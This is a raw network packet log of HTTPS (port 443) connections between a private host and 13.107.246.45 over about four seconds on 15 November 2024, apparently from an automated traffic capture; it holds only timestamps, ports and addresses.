Nov 15, 2024 13:18:55.462353945 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.462471008 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.462471008 CET	49967	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.462490082 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.462501049 CET	443	49967	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.463237047 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.463439941 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.463495016 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.463522911 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.463537931 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.463547945 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.463552952 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.466418982 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.466428041 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.466485023 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.466589928 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.466597080 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.467704058 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.467729092 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.467793941 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.467876911 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.467885971 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.467943907 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.468024015 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.468036890 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:55.468058109 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:55.468066931 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.193773985 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.194319010 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.194338083 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.194787025 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.194792032 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.204346895 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.204684973 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.204700947 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.205008030 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.205013037 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.223284960 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.223684072 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.223696947 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.224675894 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.224678993 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.291766882 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.292412996 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.292442083 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.292984009 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.292992115 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.325300932 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.325570107 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.325620890 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.325625896 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.325696945 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.325740099 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.325756073 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.325763941 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.325768948 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.328792095 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.328880072 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.328964949 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.329083920 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.329119921 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.334955931 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.335108995 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.335170984 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.335201979 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.335215092 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.335223913 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.335230112 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.337455988 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.337498903 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.337564945 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.337703943 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.337716103 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.398550034 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.398614883 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.398672104 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.398682117 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.398710966 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.398750067 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.398974895 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.398986101 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.398993015 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.398998976 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.401546001 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.401576042 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.404463053 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.404659986 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.404671907 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.423585892 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.423660040 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.423830032 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.423872948 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.423872948 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.423885107 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.423894882 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.427642107 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.427684069 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.427748919 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.427942038 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.427953005 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.434309006 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.435482979 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.435496092 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.435944080 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.435947895 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.563648939 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.563818932 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.563913107 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.564269066 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.564275980 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.564285040 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.564287901 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.568274975 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.568305969 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:56.569276094 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.569611073 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:56.569626093 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.093208075 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.093909025 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.093970060 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.094379902 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.094393015 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.123413086 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.123903036 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.123939037 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.124538898 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.124543905 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.138113976 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.140523911 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.140539885 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.140958071 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.140964031 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.189889908 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.209264040 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.209283113 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.209815979 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.209820032 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.222208977 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.222471952 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.222536087 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.222727060 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.222764015 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.222790003 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.222805977 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.228600979 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.228622913 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.228677034 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.230096102 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.230108976 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.252907038 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.252933025 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.252993107 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.253015041 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.253288984 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.253288984 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.253299952 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.253482103 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.253509998 CET	443	49992	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.253556967 CET	49992	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.255774021 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.255800009 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.255861998 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.256097078 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.256107092 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.272958994 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.272978067 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.273016930 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.273029089 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.273061991 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.273165941 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.273174047 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.273231030 CET	49993	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.273237944 CET	443	49993	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.275947094 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.275978088 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.276030064 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.276169062 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.276180029 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.327788115 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.332453966 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.332472086 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.333045006 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.333051920 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.345987082 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.346020937 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.346082926 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.346086979 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.346134901 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.346314907 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.346332073 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.346343994 CET	49994	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.346349001 CET	443	49994	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.349245071 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.349273920 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.349371910 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.349487066 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.349495888 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.461795092 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.462086916 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.462145090 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.462178946 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.462188005 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.462212086 CET	49995	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.462217093 CET	443	49995	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.465944052 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.465954065 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.466021061 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.466169119 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.466178894 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.958667040 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.959292889 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.959323883 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:57.959880114 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:57.959886074 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.011022091 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.012909889 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.012933969 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.013484955 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.013489008 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.077354908 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.082112074 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.082138062 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.082631111 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.082637072 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.088107109 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.088138103 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.088186979 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.088210106 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.088270903 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.088458061 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.088469982 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.088494062 CET	49999	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.088498116 CET	443	49999	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.093538046 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.093554974 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.093620062 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.093802929 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.093816042 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.139543056 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.140132904 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.140250921 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.140388966 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.140439987 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.140439987 CET	50001	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.140458107 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.140467882 CET	443	50001	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.143459082 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.143488884 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.143584967 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.143749952 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.143764019 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.208432913 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.208621979 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.208800077 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.209053040 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.209062099 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.209072113 CET	50002	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.209075928 CET	443	50002	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.212733030 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.212785006 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.212889910 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.213026047 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.213041067 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.235294104 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.238188028 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.238204002 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.238734007 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.238738060 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.370933056 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.370963097 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.371021986 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.371136904 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.371186018 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.373692036 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.373692036 CET	50003	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.373712063 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.373722076 CET	443	50003	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.377012014 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.377049923 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.377125978 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.377283096 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.377300978 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.824136972 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.824960947 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.824990034 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.825403929 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.825409889 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.873799086 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.874309063 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.874325037 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.874785900 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.874790907 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.953346968 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.953402996 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.953450918 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.953728914 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.953742027 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.953751087 CET	50004	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.953754902 CET	443	50004	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.956052065 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.956646919 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.956684113 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.956845999 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.956921101 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.956998110 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.957123995 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.957143068 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:58.957317114 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:58.957329035 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.002604008 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.002634048 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.002685070 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.002686024 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.002727985 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.003084898 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.003089905 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.003117085 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.003119946 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.006402016 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.006427050 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.006494999 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.006638050 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.006661892 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.087969065 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.088125944 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.088180065 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.088442087 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.088442087 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.088460922 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.088474035 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.092464924 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.092480898 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.092554092 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.092834949 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.092844009 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.114564896 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.114959002 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.114983082 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.115411997 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.115417957 CET	443	50008	13.107.246.45	192.168.2.7
